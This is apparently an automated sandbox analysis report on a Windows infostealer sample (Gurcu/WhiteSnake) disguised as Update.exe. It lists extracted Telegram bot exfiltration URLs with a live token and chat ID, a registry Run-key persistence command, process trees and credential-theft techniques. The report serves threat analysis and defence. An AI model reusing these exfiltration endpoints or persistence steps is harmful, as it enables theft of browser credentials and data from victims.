Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
15/08/2024, 13:53
General
- Target Update.exe
- Size 5.6MB
- Sample240815-q667wsvdpd
- SHA256 d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb
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https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777
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https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-
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https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take
Signatures
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 2 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Update.exe"C:\Users\Admin\AppData\Local\Temp\Update.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 2680"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\find.exefind ":"3⤵
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C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak3⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f5⤵
- Adds Run key to start application
- Modifies registry key
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4608,i,3210801877307184477,8078594481454001567,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
Update.exe.log
sqlite.interop.dll
tmp5B98.tmp.bat
Update.exe
memory/1168-23-0x000001A6DB4B0000-0x000001A6DB562000-memory.dmp
memory/1168-25-0x000001A6DB600000-0x000001A6DB622000-memory.dmp
memory/1168-46-0x000001A6DB690000-0x000001A6DB6A2000-memory.dmp
memory/1168-28-0x000001A6DB560000-0x000001A6DB586000-memory.dmp
memory/1168-27-0x000001A6DB630000-0x000001A6DB66A000-memory.dmp
memory/1168-24-0x000001A6DB5B0000-0x000001A6DB600000-memory.dmp
memory/1168-20-0x000001A6DB1C0000-0x000001A6DB1CA000-memory.dmp
memory/1168-21-0x000001A6DB440000-0x000001A6DB4AA000-memory.dmp
memory/2680-0-0x00007FFDE9423000-0x00007FFDE9425000-memory.dmp
memory/2680-1-0x0000013D55790000-0x0000013D55D30000-memory.dmp
memory/2680-8-0x0000013D57A50000-0x0000013D57A6E000-memory.dmp
memory/2680-6-0x0000013D57AD0000-0x0000013D57B46000-memory.dmp
memory/2680-7-0x00007FFDE9420000-0x00007FFDE9EE1000-memory.dmp
memory/2680-12-0x00007FFDE9420000-0x00007FFDE9EE1000-memory.dmp